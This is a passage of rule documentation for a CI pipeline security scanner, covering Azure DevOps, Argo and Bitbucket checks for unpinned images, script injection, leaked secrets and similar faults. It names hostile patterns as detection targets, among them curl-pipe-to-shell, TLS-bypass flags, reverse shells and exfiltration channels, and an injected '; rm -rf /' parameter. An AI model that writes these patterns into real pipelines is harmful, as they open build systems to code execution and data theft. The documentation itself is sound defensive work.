  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: ADO-008 in the Azure DevOps provider.

ADO-009: Container image pinned by tag rather than sha256 digest LOW

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. ADO-005 fails floating tags at HIGH; ADO-009 is the stricter tier. Even immutable-looking version tags can be repointed by registry operators.

Recommendation. Resolve each image to its current digest and replace the tag with @sha256:<digest>. Schedule regular digest bumps via Renovate or a scheduled pipeline.

Source: ADO-009 in the Azure DevOps provider.

ADO-011: template: <local-path> on PR-validated pipeline HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. template: <relative-path> includes another YAML from the CURRENT repo. On PR validation builds, the repo content is the PR branch, letting the PR author swap the template body. Cross-repo templates (template: foo.yml@my-repo) are version-pinned and not affected.

Recommendation. Move the template into a separate, branch-protected repository and reference it via template: foo.yml@<repo-resource> with a pinned ref: on the resource. That way the template content is fixed at PR creation time and can't be modified from the PR branch.

Source: ADO-011 in the Azure DevOps provider.

ADO-012: Cache@2 key derives from $(System.PullRequest.*) MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Cache@2 (and older CacheBeta@1) restore by key. A key including PR-controlled variables on PR-validated pipelines lets a PR seed a poisoned cache entry that a later default-branch pipeline restores.

Recommendation. Build the cache key from values the PR can't control: $(Agent.OS), lockfile hashes, the pipeline name. Never reference $(System.PullRequest.*) or $(Build.SourceBranch*) from a cache key namespace.

Source: ADO-012 in the Azure DevOps provider.

ADO-014: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY values in pipeline variables or task inputs can't be rotated on a fine-grained schedule. Prefer OIDC or vault-based credential injection for cross-cloud access.

Recommendation. Use workload identity federation or an Azure Key Vault task to inject short-lived AWS credentials at runtime. Remove static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from pipeline variables and task parameters.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-014 in the Azure DevOps provider.

ADO-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build agent.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: ADO-016 in the Azure DevOps provider.

ADO-018: Package install from insecure source HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a pipeline. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-018 in the Azure DevOps provider.

ADO-019: extends: template on PR-validated pipeline points to local path CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. extends: template: <local-file> includes another YAML from the CURRENT repo. On PR validation builds, the repo content is the PR branch, letting the PR author swap the template body and inject arbitrary pipeline logic. Cross-repo templates (template: foo.yml@my-repo) are version-pinned and not affected.

Recommendation. Pin the extends template to a protected repository ref (template@ref). Local templates in PR-validated pipelines can be poisoned by the PR author.

Source: ADO-019 in the Azure DevOps provider.

ADO-020: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: ADO-020 in the Azure DevOps provider.

ADO-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-021 in the Azure DevOps provider.

ADO-022: Dependency update command bypasses lockfile pins MEDIUM 🔧 fix

Evidences: Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate).

How this is detected. Detects pip install --upgrade, npm update, yarn upgrade, bundle update, cargo update, go get -u, and composer update. These commands bypass lockfile pins and pull whatever version is currently latest. Tooling upgrades (pip install --upgrade pip) are exempted.

Recommendation. Remove dependency-update commands from CI. Use lockfile-pinned install commands (npm ci, pip install -r requirements.txt) and update dependencies via a dedicated PR pipeline (e.g. Dependabot, Renovate).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Common build-tool bootstrapping idioms (pip install --upgrade pip, pip install --upgrade setuptools wheel virtualenv) and security-tool installs (pip install --upgrade pip-audit / cyclonedx-bom / semgrep) are exempted by the DEP_UPDATE_RE tooling allowlist. Other tooling-upgrade idioms not yet on the list can still trip the rule. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH to ignore.

Source: ADO-022 in the Azure DevOps provider.

ADO-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ADO-023 in the Azure DevOps provider.

ADO-024: No SLSA provenance attestation produced MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. On Azure Pipelines the common pattern is a Bash@3 task invoking cosign attest --yes --predicate=provenance.json $(image). The native Microsoft SBOM tool emits _manifest/spdx_2.2/manifest.spdx.json for SBOM but does not produce provenance on its own.

Recommendation. Add a task that runs cosign attest against a provenance.intoto.jsonl statement, or Microsoft's sbom-tool in attestation mode. ADO-006 covers signing; this rule covers the in-toto statement SLSA Build L3 additionally requires.

Source: ADO-024 in the Azure DevOps provider.

ADO-025: Cross-repo template not pinned to commit SHA HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Azure Pipelines resolves template: build.yml@tools against the tools repo resource's ref: field. When that ref is refs/heads/main (or missing, which defaults to the pipeline's default branch), a push to the callee repo changes what your pipeline runs on the next invocation.

Recommendation. On every resources.repositories entry referenced from a template: ...@repo-alias directive, set ref: refs/tags/<sha> or the bare 40-char commit SHA, never a branch or floating tag. A moved branch/tag swaps the template body without changing your pipeline file.

Source: ADO-025 in the Azure DevOps provider.

ADO-026: Pipeline contains indicators of malicious activity CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. ADO pipelines can run arbitrary shell via bash / script / powershell tasks. This rule scans every string value for known-bad patterns (reverse shells, base64-decoded execution, miner binaries, exfil channels). Orthogonal to ADO-016/ADO-017/ADO-023.

Recommendation. Treat as a potential compromise. Identify the PR/branch that added the matching task(s), rotate any Service Connections the pipeline can reach, and audit Pipeline run logs for outbound traffic to the matched hosts.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: ADO-026 in the Azure DevOps provider.

ADO-027: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Complements ADO-002 (script injection from untrusted PR context). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate any value that must feed a dynamic command at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: ADO-027 in the Azure DevOps provider.

ADO-028: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Complements ADO-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommendation. Pin git dependencies to a commit SHA. Publish private packages to an internal registry (Azure Artifacts) instead of installing from a filesystem path or tarball URL.

Source: ADO-028 in the Azure DevOps provider.

ARGO-001: Argo template container image not pinned to a digest HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Walks spec.templates[].container, spec.templates[].script, and spec.templates[].containerSet.containers[]. The image must contain @sha256: followed by a 64-char hex digest.

Recommendation. Pin every container / script template image to a content-addressable digest (alpine@sha256:<digest>). Tag-only references (alpine:3.18) and rolling tags (alpine:latest) let a compromised registry update redirect the workflow's containers at the next pull, with no audit trail in the WorkflowTemplate.

Source: ARGO-001 in the Argo Workflows provider.

ARGO-002: Argo template container runs privileged or as root HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detection fires on securityContext.privileged: true, runAsUser: 0, runAsNonRoot: false, allowPrivilegeEscalation: true, or no securityContext block at all. Also walks spec.podSpecPatch (raw YAML) for an explicit privileged: true token.

Recommendation. Set securityContext.privileged: false, runAsNonRoot: true, and allowPrivilegeEscalation: false on every template container / script. A privileged container shares the node's kernel namespaces; a malicious image then has root on the build node and breaks the boundary between workflow and cluster.

Source: ARGO-002 in the Argo Workflows provider.

ARGO-003: Argo workflow uses the default ServiceAccount MEDIUM

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Applies to Workflow and CronWorkflow. WorkflowTemplate / ClusterWorkflowTemplate are exempt because the SA is set on the run that references them. An explicit serviceAccountName: default is treated the same as omission.

Recommendation. Set spec.serviceAccountName (or spec.workflowSpec.serviceAccountName for CronWorkflow) to a least-privilege ServiceAccount that carries only the secrets and RBAC the workflow needs. Falling back to the namespace's default SA grants access to whatever cluster-admin or wildcard role someone later binds to default, a privilege-escalation surface that should never be load-bearing for workflow pods.

Source: ARGO-003 in the Argo Workflows provider.

ARGO-004: Argo workflow mounts hostPath or shares host namespaces CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Walks spec.volumes[].hostPath and the raw spec.podSpecPatch string for hostNetwork, hostPID, hostIPC, and hostPath.

Recommendation. Use emptyDir or PVC-backed volumes instead of hostPath. Drop hostNetwork: true / hostPID: true / hostIPC: true from any inline podSpecPatch. A hostPath mount of /var/run/docker.sock or / lets the workflow break out of the pod and act as the underlying node.

Source: ARGO-004 in the Argo Workflows provider.

ARGO-005: Argo input parameter interpolated unsafely in script / args CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Fires on any {{inputs.parameters.X}}, {{workflow.parameters.X}}, or {{item.X}} token inside a script.source body or a container.args string that isn't already wrapped in quotes. Doesn't fire on the env-var indirection pattern, which is safe.

Recommendation. Don't interpolate {{inputs.parameters.<name>}} directly into script.source or container.args. Argo substitutes the value before the shell parses it, so a parameter containing ; rm -rf / runs as shell. Pass the parameter via env: (value: '{{inputs.parameters.<name>}}') and reference the env var quoted in the script ("$NAME"); or use inputs.artifacts for file payloads.

Source: ARGO-005 in the Argo Workflows provider.

ARGO-006: Literal secret value in Argo template env or parameter default CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Strong matches: AWS access keys, GitHub PATs, JWTs. Weak match: env var name suggests a secret (*_TOKEN, *_KEY, *PASSWORD, *SECRET) and the value is a non-empty literal rather than an interpolation.

Recommendation. Mount secrets via env.valueFrom.secretKeyRef (or a volumes: Secret mount) instead of writing the value into env.value or arguments.parameters[].value. Workflow manifests are committed to git and cluster-readable; literal values leak through normal access paths.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ARGO-006 in the Argo Workflows provider.

ARGO-008: Argo script source pipes remote install or disables TLS HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection), Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Walks script.source and joined container.args text with the cross-provider CURL_PIPE_RE and TLS_BYPASS_RE regexes.

Recommendation. Replace curl ... | sh with a download-then-verify-then-execute pattern. Drop TLS-bypass flags (curl -k, git config http.sslverify false); install the missing CA into the template image instead. Both forms let an attacker controlling DNS / a transparent proxy substitute the script the workflow runs.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: ARGO-008 in the Argo Workflows provider.

ARGO-009: Artifacts not signed (no cosign/sigstore step) MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Detection mirrors GHA-006 / TKN-009 / BK-009, the shared signing-token catalog (cosign, sigstore, slsa-github-generator, slsa-framework, notation-sign) is searched across every string in each Argo document. Fires only on artifact-producing Workflows / WorkflowTemplates (those that invoke docker build / docker push / kaniko / helm upgrade / aws s3 sync / etc.) so lint-only Workflows don't trip it.

Recommendation. Add a cosign step to the Workflow. The most common shape is a final sign template that runs cosign sign --yes <repo>@sha256:<digest> after the build. Sign by digest, not tag, so a re-pushed tag can't bypass the signature.

Source: ARGO-009 in the Argo Workflows provider.

ARGO-010: No SBOM generated for build artifacts MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. An SBOM (CycloneDX or SPDX) records every component baked into the build. Without one, post-incident triage can't answer did this CVE ship? for a given artifact. Detection uses the shared SBOM-token catalog: syft, cyclonedx, cdxgen, spdx-tools, microsoft/sbom-tool. Fires only on artifact-producing Workflows.

Recommendation. Add an SBOM-generation template. syft <artifact> -o cyclonedx-json > /tmp/sbom.json runs in any standard container; cyclonedx-cli and cdxgen are alternative producers. Persist the SBOM as an output artifact so downstream templates and consumers can read it.

Source: ARGO-010 in the Argo Workflows provider.

ARGO-011: No SLSA provenance attestation produced MEDIUM

Evidences: SBOM Releases publish a software bill of materials, Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where / how it was built. Detection uses the shared provenance-token catalog (slsa-framework, cosign attest, in-toto, witness run, attest-build-provenance).

Recommendation. Add a cosign attest --predicate slsa.json --type slsaprovenance <ref> step after the build template, or use witness run to record the build environment. Publish the attestation alongside the artifact so consumers can verify how it was built, not just who signed it.

Source: ARGO-011 in the Argo Workflows provider.

ARGO-012: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Vulnerability scanning sits at a different layer from signing and SBOM. It answers does this artifact ship a known CVE? rather than can we verify what it is?. Detection uses the shared vuln-scan-token catalog: trivy, grype, snyk, npm-audit, pip-audit, osv-scanner, govulncheck, anchore, codeql-action, semgrep, bandit, checkov, tfsec. Walks every Argo document and passes if any document includes a scanner reference.

Recommendation. Add a vulnerability scanner template. trivy fs /workdir for source / filesystem; trivy image <ref> for container images. grype, snyk, npm audit, pip-audit are alternatives. Fail the template on findings above a chosen severity so a regression blocks the merge instead of shipping.

Source: ARGO-012 in the Argo Workflows provider.

ARGO-014: Argo template script runs unpinned package install MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detection reuses the cross-provider primitives PKG_INSECURE_RE and PKG_NO_LOCKFILE_RE from checks/base.py. Same rule pack already exists for GHA (GHA-021 / GHA-022), GitLab (GL-021 / GL-022), Bitbucket / Azure DevOps / Jenkins / CircleCI / Cloud Build / Buildkite / Tekton / Drone. Argo was a gap; this closes it.

Walks script.source plus joined container.args / container.command text per template. Steps and tasks across DAG / steps templates are equally in scope because they all reduce to a container with a shell payload.

Recommendation. Pin every package install to a lockfile or a checksum-verified version. npm ci (not npm install), yarn install --frozen-lockfile, pip install -r requirements.txt --require-hashes, bundle install --frozen. Don't use --trusted-host / --no-verify / a non-HTTPS index URL — those bypass TLS or trust validation entirely (ARGO-008 covers the TLS subset; this rule covers the lockfile subset).

Known false positives.

  • Bootstrap-stage installs that intentionally pull latest (apt-get install -y curl for a tooling image rebuild) sometimes legitimately bypass the lockfile. Suppress via ignore-file scoped to the specific template name.

Source: ARGO-014 in the Argo Workflows provider.

BB-001: pipe: action not pinned to exact version HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Bitbucket pipes are docker-image references. Major-only (:1) or missing tags let Atlassian/the publisher swap the image contents. Full semver or sha256 digest is required.

Recommendation. Pin every pipe: to a full semver tag (e.g. atlassian/aws-s3-deploy:1.4.0) or to an immutable SHA. Floating majors like :1 can roll to new code silently.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-001 in the Bitbucket provider.

BB-002: Script injection via attacker-controllable context HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. $BITBUCKET_BRANCH, $BITBUCKET_TAG, and $BITBUCKET_PR_* are populated from SCM event metadata the attacker controls. Interpolating them unquoted into a shell command lets a crafted branch or tag name can execute inline.

Recommendation. Always double-quote interpolations of ref-derived variables ("$BITBUCKET_BRANCH"). Avoid passing them to eval, sh -c, or unquoted command arguments.

Source: BB-002 in the Bitbucket provider.

BB-003: Variables contain literal secret values CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Scans definitions.variables and each step's variables: for entries whose KEY looks credential-shaped and whose VALUE is a literal string. AWS access keys are detected by value shape regardless of key name.

Recommendation. Store credentials as Repository / Deployment Variables in Bitbucket's Pipelines settings with the 'Secured' flag, and reference them by name. Prefer short-lived OIDC tokens for cloud access.

Source: BB-003 in the Bitbucket provider.

BB-004: Deploy step missing deployment: environment gate MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. A step whose name or invoked pipe matches deploy / release / publish / promote should declare a deployment: field so Bitbucket enforces deployment-scoped variables, approvals, and history.

Recommendation. Add deployment: production (or staging / test) to the step. Configure the matching environment in the repo's Deployments settings with required reviewers and secured variables.

Source: BB-004 in the Bitbucket provider.

BB-006: Artifacts not signed MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Unsigned artifacts can't be verified downstream. Passes when cosign / sigstore / slsa-* / notation-sign appears in the pipeline body.

Recommendation. Add a step that runs cosign sign against the built image or archive, using Bitbucket OIDC for keyless signing where possible. Publish the signature next to the artifact and verify it at deploy time.

Source: BB-006 in the Bitbucket provider.

BB-007: SBOM not produced MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. Without an SBOM, downstream consumers can't audit the dependency set shipped in the artifact. Passes when CycloneDX / syft / anchore / sbom-tool / Trivy-SBOM appears.

Recommendation. Add an SBOM step, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or Microsoft's sbom-tool. Attach the SBOM as a build artifact.

Source: BB-007 in the Bitbucket provider.

BB-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Complements BB-003 (variable-name scan). BB-008 checks every string in the pipeline against the cross-provider credential-pattern catalog, catches secrets pasted into script bodies or environment blocks.

Recommendation. Rotate the exposed credential. Move the value to a Secured Repository or Deployment Variable and reference it by name.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: BB-008 in the Bitbucket provider.

BB-009: pipe: pinned by version rather than sha256 digest LOW

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. BB-001 fails floating tags at HIGH; BB-009 is the stricter tier. Even immutable-looking semver tags can be repointed by the registry; sha256 digests are tamper-evident.

Recommendation. Resolve each pipe to its digest (docker buildx imagetools inspect bitbucketpipelines/<name>:<ver>) and reference it via @sha256:<digest>.

Source: BB-009 in the Bitbucket provider.

BB-011: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY values embedded in the pipeline file can't be rotated on a fine-grained schedule. Prefer OIDC or Bitbucket secured variables for cross-cloud access.

Recommendation. Use Bitbucket OIDC with oidc: true on the AWS pipe, or store credentials as secured Bitbucket variables rather than inline values. Remove static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from the pipeline file.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-011 in the Bitbucket provider.

BB-012: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: BB-012 in the Bitbucket provider.

BB-014: Package install from insecure source HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a pipeline. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-014 in the Bitbucket provider.

BB-015: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: BB-015 in the Bitbucket provider.

BB-017: Repository token written to persistent storage CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Detects patterns where Bitbucket pipeline tokens are redirected to files or piped through tee. Persisted tokens survive the step boundary and can be exfiltrated by later steps, artifacts, or cache entries.

Recommendation. Never write BITBUCKET_TOKEN or REPOSITORY_OAUTH_ACCESS_TOKEN to files or artifacts. Use the token inline in the command that needs it and let Bitbucket revoke it after the build.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-017 in the Bitbucket provider.

BB-018: Cache key derives from attacker-controllable input MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Bitbucket caches are restored by key. When the key includes a value the attacker controls (branch name, tag, PR ID), a pull-request pipeline can plant a poisoned cache entry that a subsequent default-branch build restores.

Recommendation. Build the cache key from values the attacker cannot control. Prefer hashFiles() on lockfiles enforced by branch protection. Never include $BITBUCKET_BRANCH or PR-related variables in the cache key.

Source: BB-018 in the Bitbucket provider.

BB-019: after-script references secrets HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Bitbucket's after-script runs unconditionally after the main script block (including on failure). If the after-script references secrets or tokens, those values may leak into build logs or artifacts even when the step fails unexpectedly. This check detects secret-like variable references in after-script blocks.

Recommendation. Move secret-dependent operations into the main script: block. after-script runs even when the step fails and executes in a separate shell context, credential exposure here is harder to audit and more likely to persist in logs.

Source: BB-019 in the Bitbucket provider.

BB-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: BB-021 in the Bitbucket provider.

BB-022: Dependency update command bypasses lockfile pins MEDIUM 🔧 fix

Evidences: Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate).

How this is detected. Detects pip install --upgrade, npm update, yarn upgrade, bundle update, cargo update, go get -u, and composer update. These commands bypass lockfile pins and pull whatever version is currently latest. Tooling upgrades (pip install --upgrade pip) are exempted.

Recommendation. Remove dependency-update commands from CI. Use lockfile-pinned install commands (npm ci, pip install -r requirements.txt) and update dependencies via a dedicated PR pipeline (e.g. Dependabot, Renovate).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Common build-tool bootstrapping idioms (pip install --upgrade pip, pip install --upgrade setuptools wheel virtualenv) and security-tool installs (pip install --upgrade pip-audit / cyclonedx-bom / semgrep) are exempted by the DEP_UPDATE_RE tooling allowlist. Other tooling-upgrade idioms not yet on the list can still trip the rule. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH to ignore.

Source: BB-022 in the Bitbucket provider.

BB-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

